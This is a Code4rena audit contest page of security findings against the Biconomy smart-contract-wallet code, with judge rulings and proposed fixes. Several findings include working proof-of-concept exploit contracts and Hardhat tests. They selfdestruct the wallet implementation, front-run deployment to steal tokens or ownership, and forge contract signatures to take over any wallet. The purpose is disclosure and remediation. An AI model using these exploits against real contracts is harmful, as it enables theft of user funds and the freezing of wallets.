Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 35/105
Findings: 4
Award: $252.75
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: V_B
Also found by: 0xdeadbeef0x, HE1M, Koolex, Matin, adriro, chaduke, gogo, hihen, jonatascm, kankodu, ro, smit_rajput, spacelord47, taek
125.5131 USDC - $125.51
All assets in all the deployed smart contract wallets will be frozen. All the deployed contract wallets will be unusable, all the contract functions is lost, they will all behave like an EOA account without a private key.
Every scw contract is a Proxy, and all actual functions are implemented by the implemention contract - SmartAccount.
If the implemention contract is destroyed(selfdestruct
), all of these scw(proxy contracts) will not work, they will all behave like an EOA account without a private key.
A malicious user can destroy the implemention contract - SmartAccount in the following ways:
SmartAccount.init()
of the implemention contract directly with forged parameters.Executor.execute()
to delegatecall a malicious contract X.fun()
.X.fun()
will invoke selfdestruct
, and since this is a delegatecall, it will cause the implemention contract (the SmartAccount contract itself) to be destroyed.A similar vulnerability in aave v2 upgrade.
Test code for PoC:
diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol b/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol new file mode 100644 index 0000000..62238de --- /dev/null +++ b/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.12; + +contract Destructor { + address immutable public self; + + constructor() { + self = address(this); + } + + function destruct() external { + require(address(this) != self, "not delegate call"); + selfdestruct(payable(address(0x0))); + } +} \ No newline at end of file diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts index cb006f1..31b5336 100644 --- a/scw-contracts/test/smart-wallet/testGroup1.ts +++ b/scw-contracts/test/smart-wallet/testGroup1.ts @@ -143,6 +143,51 @@ describe("Base Wallet Functionality", function () { }); }); + it.only("Attack: selfdestruct the SmartAccount", async function () { + const user = accounts[1]; + const userAddr = await user.getAddress(); + const scwAddr = await walletFactory.getAddressForCounterfactualWallet(userAddr, 0); + await walletFactory.connect(user).deployCounterFactualWallet(userAddr, entryPoint.address, handler.address, 0); + const scw = await ethers.getContractAt( + "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", + scwAddr + ); + await user.sendTransaction({to: scw.address, value: ethers.utils.parseEther("20")}); + + const attacker = accounts[2]; + const attackerAddr = await attacker.getAddress(); + //! prepare attack contract - Destructor + const DestructorFactory = await ethers.getContractFactory("Destructor"); + const destructor = await DestructorFactory.connect(attacker).deploy(); + await destructor.deployed(); + + // Impl contract is a valid contract before attack + expect((await ethers.provider.getCode(baseImpl.address)).length > 0); + // SmartWallet is working before attack + expect(await scw.owner()).to.equal(userAddr); + expect(await scw.entryPoint()).to.equal(entryPoint.address); + // Transfer 10 ETH from scw to user + expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("20")); + await scw.connect(user).transfer(userAddr, ethers.utils.parseEther("10")); + expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10")); + + //! Init the Impl contract maliciously + await baseImpl.connect(attacker).init(attackerAddr, attackerAddr, handler.address); + //! Kill the SmartWallet impl + const data = DestructorFactory.interface.encodeFunctionData("destruct", []); + await baseImpl.connect(attacker).execFromEntryPoint(destructor.address, 0, data, 1, 100000); + + //! SmartWallet impl is killed, code is deleted + expect(await ethers.provider.getCode(baseImpl.address)).to.equal("0x"); + //! SmartWallet will not work after being attacked + await expect(scw.owner()).to.be.reverted; + await expect(scw.entryPoint()).to.be.reverted; + //! Transfer 10 ETH will do nothing. Any other callings will not work either + expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10")); + await scw.connect(user).transfer(userAddr, ethers.utils.parseEther("10")); + expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10")); + }); + // Transactions it("Should send basic transactions from SCW to external contracts", async function () { console.log("sending tokens to the safe..");
VS Code
Executor.execute()
to be called only through delegatecall
./* * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: * * [.hljs-theme-light.nopadding] * * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() { * _disableInitializers(); * } */
Implementation:
diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol index c4f69a8..6ca9cab 100644 --- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol +++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol @@ -158,6 +158,10 @@ contract SmartAccount is return nonces[batchId]; } + constructor() { + _disableInitializers(); + owner = msg.sender; + } // init // Initialize / Setup diff --git a/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol b/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol index d5b942f..e7a6de4 100644 --- a/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol +++ b/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol @@ -5,10 +5,16 @@ import "../common/Enum.sol"; /// @title Executor - A contract that can execute transactions contract Executor { + address private immutable executorSingleton; + // Could add a flag fromEntryPoint for AA txn event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas); event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas); + constructor() { + executorSingleton = address(this); + } + // Could add a flag fromEntryPoint for AA txn function execute( address to, @@ -17,6 +23,8 @@ contract Executor { Enum.Operation operation, uint256 txGas ) internal returns (bool success) { + require(address(this) != executorSingleton, "Executor should only be called via delegatecall"); + if (operation == Enum.Operation.DelegateCall) { // solhint-disable-next-line no-inline-assembly assembly {
#0 - c4-judge
2023-01-17T06:55:10Z
gzeon-c4 marked the issue as duplicate of #496
#1 - c4-sponsor
2023-01-25T23:37:22Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:29:50Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: adriro
Also found by: 0x1f8b, 0x73696d616f, 0xdeadbeef0x, BClabs, HE1M, Haipls, Jayus, Kalzak, Lirios, Qeew, V_B, adriro, ast3ros, aviggiano, betweenETHlines, bin2chen, chaduke, dragotanqueray, ey88, giovannidisiena, hihen, horsefacts, ladboy233, wait, zaskoh
26.2582 USDC - $26.26
Attackers can steal assets from any undeployed scw, just like the Optimism exploit - 20 Million OP tokens stolen. Attackers can call any function of any other contract from/as the scw, like stealing the ownership of other contracts, etc.
If an undeployed scw address has assets or special privileges, an attacker can use the following steps to call other contracts as the scw to steal assets or exploit the special privileges:
_handler
Multiple calls may be required for
deployWallet
to raise the factory nonce to the target value
approve
of the token contract), which will cause the scw to call the target contract(e.g. T.approve
) through FallbackManager.fallback().T.transferFrom()
.Test code for POC:
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts index cb006f1..357f4de 100644 --- a/scw-contracts/test/smart-wallet/testGroup1.ts +++ b/scw-contracts/test/smart-wallet/testGroup1.ts @@ -24,6 +24,7 @@ import { executeContractCallWithSigners, } from "../../src/utils/execution"; import { buildMultiSendSafeTx } from "../../src/utils/multisend"; +import { MaxUint256 } from "@ethersproject/constants"; describe("Base Wallet Functionality", function () { // TODO @@ -98,6 +99,71 @@ describe("Base Wallet Functionality", function () { await token.mint(owner, ethers.utils.parseEther("1000000")); }); + it.only("Attack: front-running deploy SCW to steal tokens", async function () { + const victim = accounts[1]; + const victimAddr = await victim.getAddress(); + const amt100 = ethers.utils.parseEther("100"); + await token.connect(accounts[0]).transfer(victim.address, amt100); + const scwAddr = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0); + await token.connect(victim).transfer(scwAddr, amt100); + expect(await token.balanceOf(scwAddr)).to.equal(amt100); + + const attacker = accounts[2]; + const attackerAddr = await accounts[2].getAddress(); + //! front-running deploy the user's SCW with a forged handler + await expect( + walletFactory.connect(attacker).deployCounterFactualWallet( + victimAddr, + entryPoint.address, + //! use token address instead of default handler + token.address, + 0 + ) + ) + .to.emit(walletFactory, "SmartAccountCreated") + .withArgs(scwAddr, baseImpl.address, victimAddr, VERSION, 0); + + const fallbackToken = (await ethers.getContractFactory("MockToken")).attach(scwAddr); + //! steal tokens by the forged fallback handler + await fallbackToken.connect(attacker).approve(attackerAddr, MaxUint256); + await token.connect(attacker).transferFrom(scwAddr, attackerAddr, amt100); + //! attacker stole the tokens + expect(await token.balanceOf(scwAddr)).to.equal(0); + expect(await token.balanceOf(attackerAddr)).to.equal(amt100); + }); + + it.only("Attack: front-running deploy SCW to steal ownership", async function () { + const victim = accounts[1]; + const victimAddr = await victim.getAddress(); + const scwAddr = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0); + + const dao = await (await ethers.getContractFactory("Button")).connect(victim).deploy(); + await dao.connect(victim).transferOwnership(scwAddr); + expect(await dao.owner()).to.equal(scwAddr); + + //! attacker steals the tokens + const attacker = accounts[2]; + const attackerAddr = await accounts[2].getAddress(); + //! front-running deploy the user's SCW with a forged handler + await expect( + walletFactory.connect(attacker).deployCounterFactualWallet( + victimAddr, + entryPoint.address, + //! use the dao address instead of default handler + dao.address, + 0 + ) + ) + .to.emit(walletFactory, "SmartAccountCreated") + .withArgs(scwAddr, baseImpl.address, victimAddr, VERSION, 0); + + const fallbackDao = (await ethers.getContractFactory("Button")).attach(scwAddr); + //! steal DAO ownership by the forged fallback handler + await fallbackDao.connect(attacker).transferOwnership(attackerAddr); + //! attacker stole the DAO ownership + expect(await dao.owner()).to.equal(attackerAddr); + }); + // describe("Wallet initialization", function () { it("Should set the correct states on proxy", async function () { const expected = await walletFactory.getAddressForCounterfactualWallet(
VS Code
One of the following three options can be used:
msg.sender == owner
.#0 - c4-judge
2023-01-17T07:44:54Z
gzeon-c4 marked the issue as duplicate of #460
#1 - c4-sponsor
2023-01-26T05:54:43Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:25:27Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: adriro
Also found by: 0x1f8b, 0x73696d616f, 0xdeadbeef0x, BClabs, HE1M, Haipls, Jayus, Kalzak, Lirios, Qeew, V_B, adriro, ast3ros, aviggiano, betweenETHlines, bin2chen, chaduke, dragotanqueray, ey88, giovannidisiena, hihen, horsefacts, ladboy233, wait, zaskoh
26.2582 USDC - $26.26
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166-L176 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53
Any SCW(smart contract wallet) can be hacked by deploying it (or front-running deployment), the hacker will be able to become the owner and have complete control over it. All funds in all undeployed SCWs can be stolen.
When deploying an SCW through deployCounterFactualWallet or deployWallet, the deployer (msg.sender) can provide any address as its entrypoint.
If an attacker deploys someone else's SCW using a malicious contract as the entrypoint, he will be able to control the SCW completely through that malicious entrypoint (e.g. take the ownership of the SCW).
For example, an attacker (address X) wants to steal an SCW (address scw) which should have been belonged to a victim (address V) after deployment:
deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index)
with parameters: owner = V
, _entryPoint = X
.This tx will deploy the SCW(proxy) with owner V and fake entrypoint X.
execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit)
to the deployed SCW (proxy) with parameters: dest = scw
, func = setOwner(X)
.This tx will change the owner of the scw from V to X.
Test code for PoC (use a customized attack contract - Hack.sol to perform the attack):
diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol new file mode 100644 index 0000000..be25fc2 --- /dev/null +++ b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.12; + +import "../common/Enum.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +interface ISmartAccountFactory { + function deployCounterFactualWallet( + address _owner, address _entryPoint, address _handler, uint _index + ) external returns(address proxy); + + function deployWallet( + address _owner, address _entryPoint, address _handler + ) external returns(address proxy); +} + +interface ISmartAccount { + function execFromEntryPoint( + address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit + ) external returns (bool success); +} + +contract Hack is Ownable { + ISmartAccountFactory public factory; + + constructor(ISmartAccountFactory _factory) { + factory = _factory; + } + + function hackCounterFactualWallet(address originOwner, address handler, uint index) external onlyOwner { + //! deploy the scw with Hack itself as the entrypoint + ISmartAccount wallet = ISmartAccount( + factory.deployCounterFactualWallet(originOwner, address(this), handler, index) + ); + //! hack the scw + hack(wallet); + } + + function hackWallet(address originOwner, address handler) external onlyOwner { + //! deploy the scw with Hack itself as the entrypoint + ISmartAccount wallet = ISmartAccount( + factory.deployWallet(originOwner, address(this), handler) + ); + //! hack the scw + hack(wallet); + } + + function hack(ISmartAccount wallet) internal { + //! steal the ownership of the scw + bytes memory func = abi.encodeWithSignature("setOwner(address)", msg.sender); + //! The scw is completely under control. + //! We can make the scw to call/delegatecall any function of any contract (including the scw itself) + wallet.execFromEntryPoint(address(wallet), 0, func, Enum.Operation.Call, gasleft()); + } +} \ No newline at end of file diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts index cb006f1..7ebc70b 100644 --- a/scw-contracts/test/smart-wallet/testGroup1.ts +++ b/scw-contracts/test/smart-wallet/testGroup1.ts @@ -24,6 +24,7 @@ import { executeContractCallWithSigners, } from "../../src/utils/execution"; import { buildMultiSendSafeTx } from "../../src/utils/multisend"; +import { MaxUint256 } from "@ethersproject/constants"; describe("Base Wallet Functionality", function () { // TODO @@ -98,6 +99,40 @@ describe("Base Wallet Functionality", function () { await token.mint(owner, ethers.utils.parseEther("1000000")); }); + it.only("Attack: steal scw by front-running deploying", async function () { + const victim = accounts[1]; + const victimAddr = await victim.getAddress(); + const victimSCW = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0); + + const attacker = accounts[2]; + const attackerAddr = await accounts[2].getAddress(); + + //! Prepare the Hack contract + const HackFactory = await ethers.getContractFactory("Hack"); + const hack = await HackFactory.connect(attacker).deploy(walletFactory.address); + await hack.deployed(); + + //! HACK: front-running deploy the victim's scw and change the owner + await expect( + hack.connect(attacker).hackCounterFactualWallet( + victimAddr, + handler.address, + 0 + ) + ) + .to.emit(walletFactory, "SmartAccountCreated") + .withArgs(victimSCW, baseImpl.address, victimAddr, VERSION, 0); + + const scw = await ethers.getContractAt( + "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", + victimSCW + ); + + //! The attacker becomes the owner of the scw + expect(await scw.owner()).to.equal(attackerAddr); + expect(await scw.owner()).to.not.equal(victimAddr); + }); + // describe("Wallet initialization", function () { it("Should set the correct states on proxy", async function () { const expected = await walletFactory.getAddressForCounterfactualWallet(
VS Code
Use a public EntryPoint contract as the default entrypoint in deployCounterFactualWallet and deployWallet.
A custom entrypoint should be allowed only if msg.sender == owner
.
Implementation:
diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol index be78c75..2d750dd 100644 --- a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol +++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol @@ -6,6 +6,7 @@ import "./BaseSmartAccount.sol"; contract SmartAccountFactory { address immutable public _defaultImpl; + address immutable public _defaultEntryPoint; // EOA + Version tracking string public constant VERSION = "1.0.2"; @@ -14,9 +15,11 @@ contract SmartAccountFactory { // review need and impact of this update wallet -> account mapping (address => bool) public isAccountExist; - constructor(address _baseImpl) { + constructor(address _baseImpl, address _entryPoint) { require(_baseImpl != address(0), "base wallet address can not be zero"); + require(_entryPoint != address(0), "default EntryPoint address can not be zero"); _defaultImpl = _baseImpl; + _defaultEntryPoint = _entryPoint; } // event SmartAccountCreated(address indexed _proxy, address indexed _implementation, address indexed _owner); @@ -31,6 +34,11 @@ contract SmartAccountFactory { * @param _index extra salt that allows to deploy more wallets if needed for same EOA (default 0) */ function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){ + if (_entryPoint == address(0x0)) { + _entryPoint = _defaultEntryPoint; + } else if (_entryPoint != _defaultEntryPoint) { + require(msg.sender == _owner, "Only the owner can use a custom EntryPoint"); + } bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)))); bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly @@ -51,6 +59,11 @@ contract SmartAccountFactory { * @param _handler fallback handler address */ function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){ + if (_entryPoint == address(0x0)) { + _entryPoint = _defaultEntryPoint; + } else if (_entryPoint != _defaultEntryPoint) { + require(msg.sender == _owner, "Only the owner can use a custom EntryPoint"); + } bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly assembly {
#0 - c4-judge
2023-01-17T07:44:28Z
gzeon-c4 marked the issue as duplicate of #460
#1 - c4-sponsor
2023-01-26T03:49:44Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:25:27Z
gzeon-c4 marked the issue as satisfactory
22.7235 USDC - $22.72
All funds in all SCWs (smart contract wallets) can be stolen. Attackers can become the owner of any scw. Attackers can control any scw, execute any function of the smart accounts.
Because the SmartAccount.checkSignatures() does not check whether the _signer
is the owner for contract signatures, any contract that implements ISignatureValidator
can be validated.
Therefore, an attacker only needs to deploy a contract that implements ISignatureValidator
, and then can control any scw by calling execTransaction with a forged signature of contract signature type.
Test code for PoC:
diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol new file mode 100644 index 0000000..5daae7a --- /dev/null +++ b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.12; + +contract Validator { + bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b; + function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) { + return EIP1271_MAGIC_VALUE; + } +} \ No newline at end of file diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts index cb006f1..de6d820 100644 --- a/scw-contracts/test/smart-wallet/testGroup1.ts +++ b/scw-contracts/test/smart-wallet/testGroup1.ts @@ -98,6 +98,58 @@ describe("Base Wallet Functionality", function () { await token.mint(owner, ethers.utils.parseEther("1000000")); }); + it.only("Attack: anyone can control any scw", async function () { + const user = accounts[1]; + const userAddr = await user.getAddress(); + const scwAddr = await walletFactory.getAddressForCounterfactualWallet(userAddr, 0); + await walletFactory.connect(user).deployCounterFactualWallet(userAddr, entryPoint.address, handler.address, 0); + const scw = await ethers.getContractAt( + "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", + scwAddr + ); + expect(await scw.owner()).to.equal(userAddr); + + const attacker = accounts[2]; + const attackerAddr = await attacker.getAddress(); + + //! Deploy a Validator contract + const ValidatorFactory = await ethers.getContractFactory("Validator"); + const validator = await ValidatorFactory.connect(attacker).deploy(); + await validator.deployed(); + + const SmartAccountFactory = await ethers.getContractFactory("SmartAccount"); + const transaction: Transaction = { + to: scwAddr, + value: 0, + data: SmartAccountFactory.interface.encodeFunctionData("setOwner", [attackerAddr]), + operation: 0, + targetTxGas: 0, + }; + const refundInfo: FeeRefund = { + baseGas: 0, + gasPrice: 0, + tokenGasPriceFactor: 0, + gasToken: ethers.constants.AddressZero, + refundReceiver: ethers.constants.AddressZero, + }; + + //! Forge a contract signature + const signature = "0x" + + validator.address.substring(2).padStart(64, "0") // r: bytes32(validator address) + + "0000000000000000000000000000000000000000000000000000000000000041" // s: bytes32(65) + + "00" // v: 0 + + "0000000000000000000000000000000000000000000000000000000000000000"; // contractSignature: bytes32(0) + + //! The attacker can call any function of the scw successfully by the forged signature + await expect( + scw.connect(attacker).execTransaction(transaction, 0, refundInfo, signature) + ).to.emit(scw, "ExecutionSuccess"); + + //! The attacker becomes the owner of the scw + expect(await scw.owner()).to.equal(attackerAddr); + expect(await scw.owner()).to.not.equal(userAddr); + }); + // describe("Wallet initialization", function () { it("Should set the correct states on proxy", async function () { const expected = await walletFactory.getAddressForCounterfactualWallet(
VS Code
Validate the _signer
for contract signature type in SmartAccount.checkSignatures()
:
Implementation:
diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol index c4f69a8..16622ab 100644 --- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol +++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol @@ -340,6 +340,7 @@ contract SmartAccount is contractSignature := add(add(signatures, s), 0x20) } require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024"); + require(_signer == owner, "INVALID_SIGNER"); } else if(v > 30) { // If v > 30 then default va (27,28) has been adjusted for eth_sign flow
#0 - c4-judge
2023-01-17T06:56:16Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-26T00:18:22Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:28:27Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: immeas
Also found by: 0xDave, 0xbepresent, HE1M, Kutu, betweenETHlines, hansfriese, hihen, peanuts, prc, wait
78.2598 USDC - $78.26
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L460-L461 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L465-L466
Neither SmartAccount.execute() nor SmartAccount.executeBatch() can be called successfully by EntryPoint.
Both SmartAccount.execute() and SmartAccount.executeBatch() are designed to be allowed to be called by the entryPoint or the owner. However, they are all marked as onlyOwner
, resulting in only the owner being able to call them successfully:
function execute(address dest, uint value, bytes calldata func) external onlyOwner{ _requireFromEntryPointOrOwner(); ... } function executeBatch(address[] calldata dest, bytes[] calldata func) external onlyOwner{ _requireFromEntryPointOrOwner(); ... }
VS Code
Should remove the onlyOwner
modifier from both the two functions.
#0 - c4-judge
2023-01-18T00:38:34Z
gzeon-c4 marked the issue as duplicate of #390
#1 - c4-sponsor
2023-01-26T06:53:41Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:21:34Z
gzeon-c4 marked the issue as satisfactory